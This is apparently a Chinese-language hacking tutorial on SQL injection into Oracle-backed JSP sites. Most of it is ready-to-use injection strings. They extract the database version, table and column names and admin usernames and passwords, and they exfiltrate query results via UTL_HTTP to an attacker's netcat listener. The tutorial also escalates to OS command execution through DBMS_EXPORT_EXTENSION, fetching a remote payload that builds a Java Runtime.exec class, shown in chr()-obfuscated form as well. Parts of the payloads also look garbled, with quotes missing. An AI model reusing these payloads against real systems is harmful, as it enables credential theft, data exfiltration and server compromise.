大家都知道oracle比較大,11g的安裝程式大約在1.4g左右,可能大家遇到oracle的庫比較少,oracle+jsp的搭配的比較好... oracle系統庫預設的使用者有sys,system,internal,scott,前三個許可權都是system許可權.. 先說下資料庫的注釋:access支援null和注釋; mssql支援--和;的注視;mysql支援/*的支援;oracle支援--的注視 這裡也許大家說了如果mssql過濾了;注視,該怎麼區別oracle和mssql資料庫呢,如果是oracle的庫,一旦出錯的話,很多時候就會出現oracle.odbc等之類的預存程序出錯的語句,也可以通過; and user()>0來判斷mssql,從而排除oracle的庫 現在來說注入: 第一種方法使用dual系統資料表 一、判斷注入數字型:and 1=1 and 1=0 字元型: and 1=1 and 1=0 搜尋型: xx% and 1=1 and %= xx% and 1=2 and %=(xx必須是在頁面中存在的字串) 文本型:url+返回正常 url"+asdfg返回出錯(asdfg是隨便輸入的字串) 二、長度判斷你可以選擇union select null,null,null.....(用null,null,null而沒有用1,2,3是為了避免類型的問題,當確定下來後可以逐個來替換類型,oracle是不會自動匹配類型滴) order by 我感覺比較省事,我一般都是order by 三、判斷dual表是不是存在(這篇文章是針對dual表存在的情況進行注入的,如果不存在的話,工具要是跑不來的話就是體力活了) url and exist (select * from dual) 四、進行注入假設:www.abc.com/abc.jsp?id=1存在注入,而且有7個欄位而且都是整型,索引值是在2處 1.判斷oracle版本 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,4,5,6,7 from dual 2.判斷當前串連使用者 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select sys_context(userenv,current_user from dual)),3,4,5,6,7 from dual 3.爆表 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比較多,所以長度有要求,有些時候可能因為長度不夠有些表沒有顯示出來,假設上面爆出來的有admin表 4.爆欄位 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,column_name,3,4,5,6,7 from cols where table_name=admin(假設是username和password) 5.爆欄位內容 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,username,3,4,5,6,7 from admin www.abc.com/abc.jsp?id=1 and 1=2 union select 1,password,3,4,5,6,7 from admin 當然也可以使用concat(),每個人的習慣不一樣罷了
第二種方法配合utl_http預存程序 如果想檢測一下UTL_HTTP包是否存在可以使用語句" select count(*) from all_objects where object_name=UTL_HTTP "來判斷。OK既然是反回資訊我們先在本地用NC監聽,然後使用"and UTL_HTTP.request(http://IP:2009/||(查詢語句))=1--"這樣的形式。 本地先 nc -l -vv -p 2009,然後提交"and UTL_HTTP.request(http://IP:2009/||(select banner from sys.v_$version where rownum=1))=1--" 成功返回資料庫的版本。現在我們就來一點一點的爆。先爆庫,再爆表,再爆欄位(上文欄位已經把欄位確定出來了是USERNAME和PASSWORD),最後爆欄位值。現在我們就來爆庫,提交 "and UTL_HTTP.request(http://ip:2009/||(select owner from all_tables where rownum=1))=1--" 假設爆出第一個庫的名字為SYS。繼續爆第二個庫名,提交 "and UTL_HTTP.request(http://IP:2009/||(select owner from all_tables where owner<>SYS and rownum=1))=1--"以此類推,爆出所有的庫 爆表語句如下 提交"and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1))=1--" SYS庫中第一個表為xxx。繼續提交 "and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1 and TABLE_NAME<>xxx))=1--" 以此類推爆出SYS庫中所有的表;如果需要爆表裡有多少個列可以用 "and UTL_HTTP.request(http://IP:2009/||(select count(*) from user_tab_columns where table_name=表名))=1--" 或者想要爆第一個列名可以使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1))=1--" 爆第二個列名使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1 and COLUMN_NAME<>第一個爆出的列名))=1--" 以此類推就可以爆出所有的列名。現在我們繼續爆使用者和密碼,提交 "and UTL_HTTP.request(http://IP:2009/||(select 欄位名1 from TBL_USER_MANAGER_BASE where rownum=1))=1--" 爆密碼提交 "and UTL_HTTP.request (http://IP:2009/||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1))=1--" 首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函數,我們可以通過web注射直接獲得系統許可權,呵呵,非常誘人吧!我們先來看看這個函數的利用。如下。 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);[多語句]END;--,SYS,0,1,0) 多語句裡寫上我們的exploit,但是這樣會造成我們構造的語句非常龐大,所以這裡我們可以使用utl_http.request來擷取我們放在遠程及其上的exploit。到這裡我們的語句就構造完了。 "and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1); utl_http.request (http://www.li-tek.com/1.txt) END;--,SYS,0,1,0)=0--" 但是提交後返回該頁無法顯示。換成char() 形式後and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49) ||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr(39),0)=0-- 遠程地址的1.txt內容為 EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE Create or REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};;END;
不知道大家有沒有注意看,第二種使用utl_http預存程序使用的注入語句和使用dual表來猜基本上一樣